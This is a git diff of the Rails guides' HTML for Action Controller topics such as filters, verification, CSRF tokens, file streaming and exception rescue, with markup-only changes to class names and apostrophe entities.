@@ -840,15 +620,14 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Again, this is not an ideal example for this filter, because it's not run in the scope of the controller but gets the controller passed as an argument. The filter class has a class method <tt>filter</tt> which gets run before or after the action, depending on if it's a before or after filter. Classes used as around filters can also use the same <tt>filter</tt> method, which will get run in the same way. The method must <tt>yield</tt> to execute the action. Alternatively, it can have both a <tt>before</tt> and an <tt>after</tt> method that are run before and after the action.</p></div>
-<div class="para"><p>The Rails API documentation has <a href="http://api.rubyonrails.org/classes/ActionController/Filters/ClassMethods.html">more information on using filters</a>.</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>Again, this is not an ideal example for this filter, because it&#8217;s not run in the scope of the controller but gets the controller passed as an argument. The filter class has a class method <tt>filter</tt> which gets run before or after the action, depending on if it&#8217;s a before or after filter. Classes used as around filters can also use the same <tt>filter</tt> method, which will get run in the same way. The method must <tt>yield</tt> to execute the action. Alternatively, it can have both a <tt>before</tt> and an <tt>after</tt> method that are run before and after the action.</p></div>
+<div class="paragraph"><p>The Rails API documentation has <a href="http://api.rubyonrails.org/classes/ActionController/Filters/ClassMethods.html">more information on using filters</a>.</p></div>
</div>
<h2 id="_verification">7. Verification</h2>
<div class="sectionbody">
-<div class="para"><p>Verifications make sure certain criteria are met in order for a controller or action to run. They can specify that a certain key (or several keys in the form of an array) is present in the <tt>params</tt>, <tt>session</tt> or <tt>flash</tt> hashes or that a certain HTTP method was used or that the request was made using XMLHTTPRequest (Ajax). The default action taken when these criteria are not met is to render a 400 Bad Request response, but you can customize this by specifying a redirect URL or rendering something else and you can also add flash messages and HTTP headers to the response. It is described in the <a href="http://api.rubyonrails.org/classes/ActionController/Verification/ClassMethods.html">API documentation</a> as "essentially a special kind of before_filter".</p></div>
-<div class="para"><p>Here's an example of using verification to make sure the user supplies a username and a password in order to log in:</p></div>
+<div class="paragraph"><p>Verifications make sure certain criteria are met in order for a controller or action to run. They can specify that a certain key (or several keys in the form of an array) is present in the <tt>params</tt>, <tt>session</tt> or <tt>flash</tt> hashes or that a certain HTTP method was used or that the request was made using XMLHTTPRequest (Ajax). The default action taken when these criteria are not met is to render a 400 Bad Request response, but you can customize this by specifying a redirect URL or rendering something else and you can also add flash messages and HTTP headers to the response. It is described in the <a href="http://api.rubyonrails.org/classes/ActionController/Verification/ClassMethods.html">API documentation</a> as "essentially a special kind of before_filter".</p></div>
+<div class="paragraph"><p>Here&#8217;s an example of using verification to make sure the user supplies a username and a password in order to log in:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -870,9 +649,8 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Now the <tt>create</tt> action won't run unless the "username" and "password" parameters are present, and if they're not, an error message will be added to the flash and the <tt>new</tt> action will be rendered. But there's something rather important missing from the verification above: It will be used for <strong>every</strong> action in LoginsController, which is not what we want. You can limit which actions it will be used for with the <tt>:only</tt> and <tt>:except</tt> options just like a filter:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>Now the <tt>create</tt> action won&#8217;t run unless the "username" and "password" parameters are present, and if they&#8217;re not, an error message will be added to the flash and the <tt>new</tt> action will be rendered. But there&#8217;s something rather important missing from the verification above: It will be used for <strong>every</strong> action in LoginsController, which is not what we want. You can limit which actions it will be used for with the <tt>:only</tt> and <tt>:except</tt> options just like a filter:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -885,13 +663,12 @@ http://www.gnu.org/software/src-highlite -->
<span style="color: #990000">:</span>add_flash <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span><span style="color: #990000">:</span>error <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Username and password required to log in"</span><span style="color: #FF0000">}</span><span style="color: #990000">,</span>
<span style="color: #990000">:</span>only <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>create <span style="font-style: italic"><span style="color: #9A1900"># Only run this verification for the "create" action</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
</div>
<h2 id="_request_forgery_protection">8. Request Forgery Protection</h2>
<div class="sectionbody">
-<div class="para"><p>Cross-site request forgery is a type of attack in which a site tricks a user into making requests on another site, possibly adding, modifying or deleting data on that site without the user's knowledge or permission. The first step to avoid this is to make sure all "destructive" actions (create, update and destroy) can only be accessed with non-GET requests. If you're following RESTful conventions you're already doing this. However, a malicious site can still send a non-GET request to your site quite easily, and that's where the request forgery protection comes in. As the name says, it protects from forged requests. The way this is done is to add a non-guessable token which is only known to your server to each request. This way, if a request comes in without the proper token, it will be denied access.</p></div>
-<div class="para"><p>If you generate a form like this:</p></div>
+<div class="paragraph"><p>Cross-site request forgery is a type of attack in which a site tricks a user into making requests on another site, possibly adding, modifying or deleting data on that site without the user&#8217;s knowledge or permission. The first step to avoid this is to make sure all "destructive" actions (create, update and destroy) can only be accessed with non-GET requests. If you&#8217;re following RESTful conventions you&#8217;re already doing this. However, a malicious site can still send a non-GET request to your site quite easily, and that&#8217;s where the request forgery protection comes in. As the name says, it protects from forged requests. The way this is done is to add a non-guessable token which is only known to your server to each request. This way, if a request comes in without the proper token, it will be denied access.</p></div>
+<div class="paragraph"><p>If you generate a form like this:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -900,9 +677,8 @@ http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="color: #FF0000">&lt;% form_for @user do |f| -%&gt;</span>
<span style="color: #FF0000">&lt;%= f.text_field :username %&gt;</span>
<span style="color: #FF0000">&lt;%= f.text_field :password -%&gt;</span>
-<span style="color: #FF0000">&lt;% end -%&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p>You will see how the token gets added as a hidden field:</p></div>
+<span style="color: #FF0000">&lt;% end -%&gt;</span></tt></pre></div></div>
+<div class="paragraph"><p>You will see how the token gets added as a hidden field:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -911,22 +687,21 @@ http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">&lt;form</span></span> <span style="color: #009900">action</span><span style="color: #990000">=</span><span style="color: #FF0000">"/users/1"</span> <span style="color: #009900">method</span><span style="color: #990000">=</span><span style="color: #FF0000">"post"</span><span style="font-weight: bold"><span style="color: #0000FF">&gt;</span></span>
<span style="font-weight: bold"><span style="color: #0000FF">&lt;div&gt;</span></span><span style="font-style: italic"><span style="color: #9A1900">&lt;!-- ... --&gt;</span></span><span style="font-weight: bold"><span style="color: #0000FF">&lt;input</span></span> <span style="color: #009900">type</span><span style="color: #990000">=</span><span style="color: #FF0000">"hidden"</span> <span style="color: #009900">value</span><span style="color: #990000">=</span><span style="color: #FF0000">"67250ab105eb5ad10851c00a5621854a23af5489"</span> <span style="color: #009900">name</span><span style="color: #990000">=</span><span style="color: #FF0000">"authenticity_token"</span><span style="font-weight: bold"><span style="color: #0000FF">/&gt;&lt;/div&gt;</span></span>
<span style="font-style: italic"><span style="color: #9A1900">&lt;!-- Fields --&gt;</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">&lt;/form&gt;</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Rails adds this token to every form that's generated using the <a href="../form_helpers.html">form helpers</a>, so most of the time you don't have to worry about it. If you're writing a form manually or need to add the token for another reason, it's available through the method <tt>form_authenticity_token</tt>:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">&lt;/form&gt;</span></span></tt></pre></div></div>
+<div class="paragraph"><p>Rails adds this token to every form that&#8217;s generated using the <a href="../form_helpers.html">form helpers</a>, so most of the time you don&#8217;t have to worry about it. If you&#8217;re writing a form manually or need to add the token for another reason, it&#8217;s available through the method <tt>form_authenticity_token</tt>:</p></div>
<div class="listingblock">
-<div class="title">Example: Add a JavaScript variable containing the token for use with Ajax</div>
+<div class="title">Add a JavaScript variable containing the token for use with Ajax</div>
<div class="content">
<pre><tt>&lt;%= javascript_tag "MyApp.authenticity_token = '#{form_authenticity_token}'" %&gt;</tt></pre>
</div></div>
-<div class="para"><p>The <a href="../security.html">Security Guide</a> has more about this and a lot of other security-related issues that you should be aware of when developing a web application.</p></div>
+<div class="paragraph"><p>The <a href="../security.html">Security Guide</a> has more about this and a lot of other security-related issues that you should be aware of when developing a web application.</p></div>
</div>
<h2 id="_the_tt_request_tt_and_tt_response_tt_objects">9. The <tt>request</tt> and <tt>response</tt> Objects</h2>
<div class="sectionbody">
-<div class="para"><p>In every controller there are two accessor methods pointing to the request and the response objects associated with the request cycle that is currently in execution. The <tt>request</tt> method contains an instance of AbstractRequest and the <tt>response</tt> method returns a <tt>response</tt> object representing what is going to be sent back to the client.</p></div>
+<div class="paragraph"><p>In every controller there are two accessor methods pointing to the request and the response objects associated with the request cycle that is currently in execution. The <tt>request</tt> method contains an instance of AbstractRequest and the <tt>response</tt> method returns a <tt>response</tt> object representing what is going to be sent back to the client.</p></div>
<h3 id="_the_tt_request_tt_object">9.1. The <tt>request</tt> Object</h3>
-<div class="para"><p>The request object contains a lot of useful information about the request coming in from the client. To get a full list of the available methods, refer to the <a href="http://api.rubyonrails.org/classes/ActionController/AbstractRequest.html">API documentation</a>. Among the properties that you can access on this object are:</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>The request object contains a lot of useful information about the request coming in from the client. To get a full list of the available methods, refer to the <a href="http://api.rubyonrails.org/classes/ActionController/AbstractRequest.html">API documentation</a>. Among the properties that you can access on this object are:</p></div>
+<div class="ulist"><ul>
<li>
<p>
host - The hostname used for this request.
@@ -934,7 +709,7 @@ host - The hostname used for this request.
</li>
<li>
<p>
-domain(n=2) - The hostname's first <tt>n</tt> segments, starting from the right (the TLD)
+domain(n=2) - The hostname&#8217;s first <tt>n</tt> segments, starting from the right (the TLD)
</p>
</li>
<li>
@@ -984,10 +759,10 @@ url - The entire URL used for the request.
</li>
</ul></div>
<h4 id="_tt_path_parameters_tt_tt_query_parameters_tt_and_tt_request_parameters_tt">9.1.1. <tt>path_parameters</tt>, <tt>query_parameters</tt> and <tt>request_parameters</tt></h4>
-<div class="para"><p>Rails collects all of the parameters sent along with the request in the <tt>params</tt> hash, whether they are sent as part of the query string or the post body. The request object has three accessors that give you access to these parameters depending on where they came from. The <tt>query_parameters</tt> hash contains parameters that were sent as part of the query string while the <tt>request_parameters</tt> hash contains parameters sent as part of the post body. The <tt>path_parameters</tt> hash contains parameters that were recognized by the routing as being part of the path leading to this particular controller and action.</p></div>
+<div class="paragraph"><p>Rails collects all of the parameters sent along with the request in the <tt>params</tt> hash, whether they are sent as part of the query string or the post body. The request object has three accessors that give you access to these parameters depending on where they came from. The <tt>query_parameters</tt> hash contains parameters that were sent as part of the query string while the <tt>request_parameters</tt> hash contains parameters sent as part of the post body. The <tt>path_parameters</tt> hash contains parameters that were recognized by the routing as being part of the path leading to this particular controller and action.</p></div>
<h3 id="_the_tt_response_tt_object">9.2. The <tt>response</tt> Object</h3>
-<div class="para"><p>The response object is not usually used directly, but is built up during the execution of the action and rendering of the data that is being sent back to the user, but sometimes - like in an after filter - it can be useful to access the response directly. Some of these accessor methods also have setters, allowing you to change their values.</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>The response object is not usually used directly, but is built up during the execution of the action and rendering of the data that is being sent back to the user, but sometimes - like in an after filter - it can be useful to access the response directly. Some of these accessor methods also have setters, allowing you to change their values.</p></div>
+<div class="ulist"><ul>
<li>
<p>
body - This is the string of data being sent back to the client. This is most often HTML.
@@ -1020,18 +795,17 @@ headers - Headers used for the response.
</li>
</ul></div>
<h4 id="_setting_custom_headers">9.2.1. Setting Custom Headers</h4>
-<div class="para"><p>If you want to set custom headers for a response then <tt>response.headers</tt> is the place to do it. The headers attribute is a hash which maps header names to their values, and Rails will set some of them - like "Content-Type" - automatically. If you want to add or change a header, just assign it to <tt>headers</tt> with the name and value:</p></div>
+<div class="paragraph"><p>If you want to set custom headers for a response then <tt>response.headers</tt> is the place to do it. The headers attribute is a hash which maps header names to their values, and Rails will set some of them - like "Content-Type" - automatically. If you want to add or change a header, just assign it to <tt>headers</tt> with the name and value:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>response<span style="color: #990000">.</span>headers<span style="color: #990000">[</span><span style="color: #FF0000">"Content-Type"</span><span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="color: #FF0000">"application/pdf"</span>
-</tt></pre></div></div>
+<pre><tt>response<span style="color: #990000">.</span>headers<span style="color: #990000">[</span><span style="color: #FF0000">"Content-Type"</span><span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="color: #FF0000">"application/pdf"</span></tt></pre></div></div>
</div>
<h2 id="_http_basic_authentication">10. HTTP Basic Authentication</h2>
<div class="sectionbody">
-<div class="para"><p>Rails comes with built-in HTTP Basic authentication. This is an authentication scheme that is supported by the majority of browsers and other HTTP clients. As an example, consider an administration section which will only be available by entering a username and a password into the browser's HTTP Basic dialog window. Using the built-in authentication is quite easy and only requires you to use one method, <tt>authenticate_or_request_with_http_basic</tt>.</p></div>
+<div class="paragraph"><p>Rails comes with built-in HTTP Basic authentication. This is an authentication scheme that is supported by the majority of browsers and other HTTP clients. As an example, consider an administration section which will only be available by entering a username and a password into the browser&#8217;s HTTP Basic dialog window. Using the built-in authentication is quite easy and only requires you to use one method, <tt>authenticate_or_request_with_http_basic</tt>.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1051,14 +825,13 @@ private
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>With this in place, you can create namespaced controllers that inherit from AdminController. The before filter will thus be run for all actions in those controllers, protecting them with HTTP Basic authentication.</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>With this in place, you can create namespaced controllers that inherit from AdminController. The before filter will thus be run for all actions in those controllers, protecting them with HTTP Basic authentication.</p></div>
</div>
<h2 id="_streaming_and_file_downloads">11. Streaming and File Downloads</h2>
<div class="sectionbody">
-<div class="para"><p>Sometimes you may want to send a file to the user instead of rendering an HTML page. All controllers in Rails have the <tt>send_data</tt> and the <tt>send_file</tt> methods, that will both stream data to the client. <tt>send_file</tt> is a convenience method which lets you provide the name of a file on the disk and it will stream the contents of that file for you.</p></div>
-<div class="para"><p>To stream data to the client, use <tt>send_data</tt>:</p></div>
+<div class="paragraph"><p>Sometimes you may want to send a file to the user instead of rendering an HTML page. All controllers in Rails have the <tt>send_data</tt> and the <tt>send_file</tt> methods, that will both stream data to the client. <tt>send_file</tt> is a convenience method which lets you provide the name of a file on the disk and it will stream the contents of that file for you.</p></div>
+<div class="paragraph"><p>To stream data to the client, use <tt>send_data</tt>:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1084,11 +857,10 @@ private
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span><span style="color: #990000">.</span>render
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>The <tt>download_pdf</tt> action in the example above will call a private method which actually generates the file (a PDF document) and returns it as a string. This string will then be streamed to the client as a file download and a filename will be suggested to the user. Sometimes when streaming files to the user, you may not want them to download the file. Take images, for example, which can be embedded into HTML pages. To tell the browser a file is not meant to be downloaded, you can set the <tt>:disposition</tt> option to "inline". The opposite and default value for this option is "attachment".</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>The <tt>download_pdf</tt> action in the example above will call a private method which actually generates the file (a PDF document) and returns it as a string. This string will then be streamed to the client as a file download and a filename will be suggested to the user. Sometimes when streaming files to the user, you may not want them to download the file. Take images, for example, which can be embedded into HTML pages. To tell the browser a file is not meant to be downloaded, you can set the <tt>:disposition</tt> option to "inline". The opposite and default value for this option is "attachment".</p></div>
<h3 id="_sending_files">11.1. Sending Files</h3>
-<div class="para"><p>If you want to send a file that already exists on disk, use the <tt>send_file</tt> method. This is usually not recommended, but can be useful if you want to perform some authentication before letting the user download the file.</p></div>
+<div class="paragraph"><p>If you want to send a file that already exists on disk, use the <tt>send_file</tt> method. This is usually not recommended, but can be useful if you want to perform some authentication before letting the user download the file.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1102,15 +874,14 @@ http://www.gnu.org/software/src-highlite -->
send_data<span style="color: #990000">(</span><span style="color: #FF0000">"#{RAILS_ROOT}/files/clients/#{client.id}.pdf"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>filename <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"#{client.name}.pdf"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>type <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"application/pdf"</span><span style="color: #990000">)</span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>This will read and stream the file 4Kb at the time, avoiding loading the entire file into memory at once. You can turn off streaming with the <tt>:stream</tt> option or adjust the block size with the <tt>:buffer_size</tt> option.</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>This will read and stream the file 4Kb at the time, avoiding loading the entire file into memory at once. You can turn off streaming with the <tt>:stream</tt> option or adjust the block size with the <tt>:buffer_size</tt> option.</p></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
<img src="./images/icons/warning.png" alt="Warning" />
</td>
-<td class="content">Be careful when using (or just don't use) "outside" data (params, cookies, etc) to locate the file on disk, as this is a security risk that might allow someone to gain access to files they are not meant to see.</td>
+<td class="content">Be careful when using (or just don&#8217;t use) "outside" data (params, cookies, etc) to locate the file on disk, as this is a security risk that might allow someone to gain access to files they are not meant to see.</td>
</tr></table>
</div>
<div class="admonitionblock">
@@ -1122,7 +893,7 @@ http://www.gnu.org/software/src-highlite -->
</tr></table>
</div>
<h3 id="_restful_downloads">11.2. RESTful Downloads</h3>
-<div class="para"><p>While <tt>send_data</tt> works just fine, if you are creating a RESTful application having separate actions for file downloads is usually not necessary. In REST terminology, the PDF file from the example above can be considered just another representation of the client resource. Rails provides an easy and quite sleek way of doing "RESTful downloads". Here's how you can rewrite the example so that the PDF download is a part of the <tt>show</tt> action, without any streaming:</p></div>
+<div class="paragraph"><p>While <tt>send_data</tt> works just fine, if you are creating a RESTful application having separate actions for file downloads is usually not necessary. In REST terminology, the PDF file from the example above can be considered just another representation of the client resource. Rails provides an easy and quite sleek way of doing "RESTful downloads". Here&#8217;s how you can rewrite the example so that the PDF download is a part of the <tt>show</tt> action, without any streaming:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1140,16 +911,14 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>In order for this example to work, you have to add the PDF MIME type to Rails. This can be done by adding the following line to the file <tt>config/initializers/mime_types.rb</tt>:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>In order for this example to work, you have to add the PDF MIME type to Rails. This can be done by adding the following line to the file <tt>config/initializers/mime_types.rb</tt>:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>Mime<span style="color: #990000">::</span>Type<span style="color: #990000">.</span>register <span style="color: #FF0000">"application/pdf"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>pdf
-</tt></pre></div></div>
+<pre><tt>Mime<span style="color: #990000">::</span>Type<span style="color: #990000">.</span>register <span style="color: #FF0000">"application/pdf"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>pdf</tt></pre></div></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
@@ -1158,7 +927,7 @@ http://www.gnu.org/software/src-highlite -->
<td class="content">Configuration files are not reloaded on each request, so you have to restart the server in order for their changes to take effect.</td>
</tr></table>
</div>
-<div class="para"><p>Now the user can request to get a PDF version of a client just by adding ".pdf" to the URL:</p></div>
+<div class="paragraph"><p>Now the user can request to get a PDF version of a client just by adding ".pdf" to the URL:</p></div>
<div class="listingblock">
<div class="content">
<pre><tt>GET /clients/1.pdf</tt></pre>
@@ -1166,7 +935,7 @@ http://www.gnu.org/software/src-highlite -->
</div>
<h2 id="_parameter_filtering">12. Parameter Filtering</h2>
<div class="sectionbody">
-<div class="para"><p>Rails keeps a log file for each environment (development, test and production) in the <tt>log</tt> folder. These are extremely useful when debugging what's actually going on in your application, but in a live application you may not want every bit of information to be stored in the log file. The <tt>filter_parameter_logging</tt> method can be used to filter out sensitive information from the log. It works by replacing certain values in the <tt>params</tt> hash with "[FILTERED]" as they are written to the log. As an example, let's see how to filter all parameters with keys that include "password":</p></div>
+<div class="paragraph"><p>Rails keeps a log file for each environment (development, test and production) in the <tt>log</tt> folder. These are extremely useful when debugging what&#8217;s actually going on in your application, but in a live application you may not want every bit of information to be stored in the log file. The <tt>filter_parameter_logging</tt> method can be used to filter out sensitive information from the log. It works by replacing certain values in the <tt>params</tt> hash with "[FILTERED]" as they are written to the log. As an example, let&#8217;s see how to filter all parameters with keys that include "password":</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1176,18 +945,17 @@ http://www.gnu.org/software/src-highlite -->
filter_parameter_logging <span style="color: #990000">:</span>password
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>The method works recursively through all levels of the params hash and takes an optional second parameter which is used as the replacement string if present. It can also take a block which receives each key in turn and replaces those for which the block returns true.</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>The method works recursively through all levels of the params hash and takes an optional second parameter which is used as the replacement string if present. It can also take a block which receives each key in turn and replaces those for which the block returns true.</p></div>
</div>
<h2 id="_rescue">13. Rescue</h2>
<div class="sectionbody">
-<div class="para"><p>Most likely your application is going to contain bugs or otherwise throw an exception that needs to be handled. For example, if the user follows a link to a resource that no longer exists in the database, Active Record will throw the ActiveRecord::RecordNotFound exception. Rails' default exception handling displays a 500 Server Error message for all exceptions. If the request was made locally, a nice traceback and some added information gets displayed so you can figure out what went wrong and deal with it. If the request was remote Rails will just display a simple "500 Server Error" message to the user, or a "404 Not Found" if there was a routing error or a record could not be found. Sometimes you might want to customize how these errors are caught and how they're displayed to the user. There are several levels of exception handling available in a Rails application:</p></div>
+<div class="paragraph"><p>Most likely your application is going to contain bugs or otherwise throw an exception that needs to be handled. For example, if the user follows a link to a resource that no longer exists in the database, Active Record will throw the ActiveRecord::RecordNotFound exception. Rails' default exception handling displays a 500 Server Error message for all exceptions. If the request was made locally, a nice traceback and some added information gets displayed so you can figure out what went wrong and deal with it. If the request was remote Rails will just display a simple "500 Server Error" message to the user, or a "404 Not Found" if there was a routing error or a record could not be found. Sometimes you might want to customize how these errors are caught and how they&#8217;re displayed to the user. There are several levels of exception handling available in a Rails application:</p></div>
<h3 id="_the_default_500_and_404_templates">13.1. The Default 500 and 404 Templates</h3>
-<div class="para"><p>By default a production application will render either a 404 or a 500 error message. These messages are contained in static HTML files in the <tt>public</tt> folder, in <tt>404.html</tt> and <tt>500.html</tt> respectively. You can customize these files to add some extra information and layout, but remember that they are static; i.e. you can't use RHTML or layouts in them, just plain HTML.</p></div>
+<div class="paragraph"><p>By default a production application will render either a 404 or a 500 error message. These messages are contained in static HTML files in the <tt>public</tt> folder, in <tt>404.html</tt> and <tt>500.html</tt> respectively. You can customize these files to add some extra information and layout, but remember that they are static; i.e. you can&#8217;t use RHTML or layouts in them, just plain HTML.</p></div>
<h3 id="_tt_rescue_from_tt">13.2. <tt>rescue_from</tt></h3>
-<div class="para"><p>If you want to do something a bit more elaborate when catching errors, you can use <tt>rescue_from</tt>, which handles exceptions of a certain type (or multiple types) in an entire controller and its subclasses. When an exception occurs which is caught by a <tt>rescue_from</tt> directive, the exception object is passed to the handler. The handler can be a method or a Proc object passed to the <tt>:with</tt> option. You can also use a block directly instead of an explicit Proc object.</p></div>
-<div class="para"><p>Here's how you can use <tt>rescue_from</tt> to intercept all ActiveRecord::RecordNotFound errors and do something with them.</p></div>
+<div class="paragraph"><p>If you want to do something a bit more elaborate when catching errors, you can use <tt>rescue_from</tt>, which handles exceptions of a certain type (or multiple types) in an entire controller and its subclasses. When an exception occurs which is caught by a <tt>rescue_from</tt> directive, the exception object is passed to the handler. The handler can be a method or a Proc object passed to the <tt>:with</tt> option. You can also use a block directly instead of an explicit Proc object.</p></div>
+<div class="paragraph"><p>Here&#8217;s how you can use <tt>rescue_from</tt> to intercept all ActiveRecord::RecordNotFound errors and do something with them.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1203,9 +971,8 @@ private
render <span style="color: #990000">:</span>text <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"404 Not Found"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>status <span style="color: #990000">=&gt;</span> <span style="color: #993399">404</span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Of course, this example is anything but elaborate and doesn't improve on the default exception handling at all, but once you can catch all those exceptions you're free to do whatever you want with them. For example, you could create custom exception classes that will be thrown when a user doesn't have access to a certain section of your application:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>Of course, this example is anything but elaborate and doesn&#8217;t improve on the default exception handling at all, but once you can catch all those exceptions you&#8217;re free to do whatever you want with them. For example, you could create custom exception classes that will be thrown when a user doesn&#8217;t have access to a certain section of your application:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1241,21 +1008,20 @@ private
<span style="font-weight: bold"><span style="color: #0000FF">raise</span></span> User<span style="color: #990000">::</span>NotAuthorized <span style="font-weight: bold"><span style="color: #0000FF">unless</span></span> current_user<span style="color: #990000">.</span>admin?
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
<img src="./images/icons/note.png" alt="Note" />
</td>
-<td class="content">Certain exceptions are only rescuable from the ApplicationController class, as they are raised before the controller gets initialized and the action gets executed. See Pratik Naik's <a href="http://m.onkey.org/2008/7/20/rescue-from-dispatching">article</a> on the subject for more information.</td>
+<td class="content">Certain exceptions are only rescuable from the ApplicationController class, as they are raised before the controller gets initialized and the action gets executed. See Pratik Naik&#8217;s <a href="http://m.onkey.org/2008/7/20/rescue-from-dispatching">article</a> on the subject for more information.</td>
</tr></table>
</div>
</div>
<h2 id="_changelog">14. Changelog</h2>
<div class="sectionbody">
-<div class="para"><p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/17">Lighthouse ticket</a></p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/17">Lighthouse ticket</a></p></div>
+<div class="ulist"><ul>
<li>
<p>
November 4, 2008: First release version by Tore Darrell
@@ -1264,7 +1030,7 @@ November 4, 2008: First release version by Tore Darrell
</ul></div>
</div>
- </div>
- </div>
+ </div>
+ </div>
</body>
</html>
diff --git a/railties/doc/guides/html/finders.html b/railties/doc/guides/html/active_record_querying.html
index 603f488cc9..e42bd80e2b 100644
--- a/railties/doc/guides/html/finders.html
+++ b/railties/doc/guides/html/active_record_querying.html
@@ -1,312 +1,140 @@
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
- <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
- <title>Rails Finders</title>
- <!--[if lt IE 8]>
